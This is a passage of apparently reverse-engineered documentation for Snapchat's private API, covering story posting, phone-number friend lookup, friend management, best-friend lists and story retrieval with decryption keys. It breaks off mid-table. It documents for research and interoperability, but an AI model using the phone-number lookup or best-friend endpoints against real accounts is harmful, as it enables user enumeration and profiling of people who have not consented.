id='posting-to-a-story-and-sending-a-snap-bqdouble_post' class='link-to'>Posting to a story and sending a snap (<code>/bq/double_post</code>) <a class='pilcrow' title='Permalink to this section' href='#posting-to-a-story-and-sending-a-snap-bqdouble_post'>露</a></h1> <p>This is the same as <a href="#sending-it-off-phsend">sending a normal snap</a>, however there are extra fields sent:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">"teamsnapchat,someguy"</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Foo, bar, baz!"</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code> (from an upload).</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn't seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you're uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p>If your request <strong>failed</strong> you'll most likely get a <code>400 Bad Request</code>.<br> If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">story_response</span><span class="o">:</span> <span class="p">{</span> <span class="nx">json</span><span class="o">:</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Foo, bar, baz!"</span><span class="p">,</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"youraccount~1385367025231"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385367025231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"6539144374653924"</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">"/crVtkYOvpDOVA8C8MhR+qWlzFkFodQi+2iOAK84E+Q="</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">"oBp82Gr0tGHfBzC42cyleg=="</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">"UvCn/A+2qrXchJG0J6gCSw=="</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86399908</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6539144374653924"</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6539144374653924"</span> <span class="p">}</span> <span class="p">},</span> <span class="nx">success</span><span class="o">:</span> <span class="kc">true</span> <span class="p">},</span> <span class="nx">snap_response</span><span class="o">:</span> <span class="p">{</span> <span class="nx">success</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>This reply is split into two portions: <code>story_response</code> and <code>snap_response</code>.<br> Both fields (<code>story_response</code> and <code>snap_response</code>) contain <code>success</code>, which is similar to the <a href="#common-fields">common field, <code>logged</code></a>.</p> <p><code>story_response.json.story</code></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn't seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not story contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>The <code>media_id</code>/<code>client_id</code> you sent originally.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp.</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64'd key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64'd IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64'd IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story's blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail's blob data.</td> </tr> </tbody></table> <h1 id='finding-your-friends-phfind_friends' class='link-to'>Finding your friends (<code>/ph/find_friends</code>) <a class='pilcrow' title='Permalink to this section' href='#finding-your-friends-phfind_friends'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">countryCode</span><span class="o">:</span> <span class="s2">"US"</span><span class="p">,</span> <span class="nx">numbers</span><span class="o">:</span> <span class="s2">"{\"2125554240\": \"Norm (Security)\", \"3114378739\": \"Stephen Falken\"}"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>countryCode</code></td> <td>str</td> <td>A two character <a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2">ISO 3166-1 alpha-2</a> country code.</td> </tr> <tr> <td><code>numbers</code></td> <td>str</td> <td>A string representation of a hash map with phone numbers relating to display names.</td> </tr> </tbody></table> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">results</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span> <span class="s2">"norman"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">"Norm (Security)"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span> <span class="s2">"stephenfalken"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">"Stephen Falken"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>results</code></td> <td>list</td> <td>A list of relevant results about found friends. Innards explained below.</td> </tr> </tbody></table> <p>The <code>results</code> field contains a list of maps each with three fields:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>name</code></td> <td>str</td> <td>The account username of this person.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>The display name reported to <code>/ph/find_friends</code>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <h1 id='making---or-losing---friends-phfriend' class='link-to'>Making - or losing - friends (<code>/ph/friend</code>) <a class='pilcrow' title='Permalink to this section' href='#making---or-losing---friends-phfriend'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">"add"</span><span class="p">,</span> <span class="nx">friend</span><span class="o">:</span> <span class="s2">"someguy"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td>What type of action you're taking: <code>add</code>, <code>delete</code>, <code>block</code>, <code>unblock</code>, or <code>display</code>.</td> </tr> <tr> <td><code>friend</code></td> <td>str</td> <td>The user (account name) we're applying this action to.</td> </tr> </tbody></table> <p><strong>NB!</strong> The action <code>display</code> requires an extra field called <code>display</code>, which is the display name you're applying to the user.<br> If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"someguy was blocked"</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The user (given by <code>friend</code> in req.) the action was applied to.</td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> </tbody></table> <h1 id='getting-your-friends39-best-friends-bqbests' class='link-to'>Getting your friends' best friends (<code>/bq/bests</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-your-friends39-best-friends-bqbests'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">friend_usernames</span><span class="o">:</span> <span class="s2">"['teamsnapchat','another_username']"</span><span class="p">,</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>friend_usernames</code></td> <td>str</td> <td>A string representation of a JSON list of friend usernames.</td> </tr> </tbody></table> <p><strong>NB!</strong> Any usernames that are not on your friends list will be completely omitted from the response.<br> If the request was <strong>successful</strong>, you'll get a response similar to this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">teamsnapchat</span><span class="o">:</span> <span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">"friend_one"</span><span class="p">,</span> <span class="s2">"friend_two"</span><span class="p">,</span> <span class="s2">"friend_three"</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">100</span> <span class="p">},</span> <span class="nx">another_username</span><span class="o">:</span> <span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">"friend_one"</span><span class="p">,</span> <span class="s2">"friend_two"</span><span class="p">,</span> <span class="s2">"friend_three"</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">100</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>best_friends</code></td> <td>list</td> <td>List of the given user's best friends.</td> </tr> <tr> <td><code>score</code></td> <td>int</td> <td>The given user's Snapchat score.</td> </tr> </tbody></table> <h1 id='getting-your-friends-stories-bqstories' class='link-to'>Getting your friends stories (<code>/bq/stories</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-your-friends-stories-bqstories'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back something like this (hefty reply):</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">mature_content_text</span><span class="o">:</span> <span class="p">{</span> <span class="nx">title</span><span class="o">:</span> <span class="s2">"Content Warning"</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"The red exclamation mark on this Story indicates that Stories posted by this user may not be suitable for sensitive viewers. Do you wish to continue? After selecting 'Yes', you will never be prompted again."</span><span class="p">,</span> <span class="nx">yes_text</span><span class="o">:</span> <span class="s2">"Yes"</span><span class="p">,</span> <span class="nx">no_text</span><span class="o">:</span> <span class="s2">"No"</span> <span class="p">},</span> <span class="nx">my_stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"youraccount~1386362095231"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~e87a8f71-078b-4483-b051-b78f3d008717"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1386362095231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"6529624334955984"</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">"/crVtkYOvpBAV08C8MhH+hWl4FDFodCi+2iOAK84E+Q="</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">"oBp22Gr0t2HABDC4Wcylng=="</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">"UvCn/A+AqwXDCJG0Y6gCSw=="</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">5885762</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6529624334955984"</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6529624334955984"</span> <span class="p">},</span> <span class="nx">story_notes</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">viewer</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">screenshotted</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385367139674</span><span class="p">,</span> <span class="nx">storypointer</span><span class="o">:</span> <span class="p">{</span><span class="s2">"mKey"</span><span class="o">:</span><span class="s2">"story:{youraccount}:19841127"</span><span class="p">,</span><span class="s2">"mField"</span><span class="o">:</span><span class="s2">"071025.221Z"</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">story_extras</span><span class="o">:</span> <span class="p">{</span><span class="nx">view_count</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">screenshot_count</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">},</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"youraccount~1386362095231"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~eb53ae24-7534-40e6-4a00-b611a90ab6c4"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1386362095231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"7799203240896396"</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">"dvv5/CXFOwOkskitqrX/x2PkQarzHAbPMwkzM0aWHIY="</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">"4hJppjXvdjjqIgjxG6vExQ=="</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">"rC4UM3bgGPTTg7ovzO1fug=="</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Hack the planet, hack the planet!"</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">5658516</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=7799203240896396"</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=7799203240896396"</span> <span class="p">},</span> <span class="nx">story_notes</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">viewer</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">screenshotted</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385366714056</span><span class="p">,</span> <span class="nx">storypointer</span><span class="o">:</span> <span class="p">{</span><span class="s2">"mKey"</span><span class="o">:</span><span class="s2">"story:{youraccount}:19841127"</span><span class="p">,</span><span class="s2">"mField"</span><span class="o">:</span><span class="s2">"070637.986Z"</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">story_extras</span><span class="o">:</span> <span class="p">{</span><span class="nx">view_count</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">screenshot_count</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">friend_stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"someguy~1385439004799"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"SOMEGUY~24823793-8333-4542-QF6C-D765CD6786D4"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385452007799</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"5549685943463504"</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">"m1/kTyqt0E55jPyX+PexCP1++PUxTM6lqZC8kU/zcgI="</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">"GvH/izpqBVBZQaAlmxWSSA=="</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">"Jx4tNSAaCuIkSX5DttTZJw=="</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">10.0</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86361636</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5549685943463504"</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5549685943463504"</span> <span class="p">},</span> <span class="nx">viewed</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> <span class="p">]</span> <span class="p">}</span> <span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mature_content_text</code></td> <td>dict</td> <td>A dictionary with some strings to be displayed in a warning modal about mature content.</td> </tr> <tr> <td><code>my_stories</code></td> <td>list</td> <td>A list of all segments of your story - See <em>below</em>.</td> </tr> <tr> <td><code>friend_stories</code></td> <td>list</td> <td>A list of your friend's stories and their segments - See <em>below</em>.</td> </tr> </tbody></table> <p><code>my_stories.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not this segment contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>Standard media_id in the format of <code>USERNAME~UUID</code></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64'd key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64'd IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64'd IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story's blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail's blob data.</td> </tr> <tr> <td><code>caption_text_display</code>*</td> <td>str</td> <td><em>Not always present</em> - seems to be (seldom often) set by the client on story upload.</td> </tr> </tbody></table> <p><code>my_stories.story_notes</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>viewer</code></td> <td>str</td> <td>The viewer's account name.</td> </tr> <tr> <td><code>screenshotted</code></td> <td>bool</td> <td>Whether or not they screenshotted the segment.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>When the viewing took place.</td> </tr> <tr> <td><code>storypointer</code></td> <td>dict</td> <td>A strange dictionary with some misc. fields about the viewing.</td> </tr> </tbody></table> <p><code>my_stories.story_notes.storypointer</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mKey</code></td> <td>str</td> <td>Your account name plus the date in the format of: <code>story:{YOURACCOUNT}:YYYYMMDD</code></td> </tr> <tr> <td><code>mField</code></td> <td>str</td> <td>More time related information.</td> </tr> </tbody></table> <p><code>my_stories.story_extras</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>view_count</code></td> <td>int</td> <td>What it says on the tin.</td> </tr> <tr> <td><code>screenshot_count</code></td> <td>int</td> <td>What it says on the tin.</td> </tr> </tbody></table> <p><code>friend_stories</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>Friend's username.</td> </tr> <tr> <td><code>stories</code></td> <td>list</td> <td>A list of stories - See <em>below</em>.</td> </tr> </tbody></table> <p><code>friend_stories.stories.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>Friend's username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Friend's username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not this segment contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>Standard media_id in the format of <code>USERNAME~UUID</code></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64'd key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64'd IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64'd 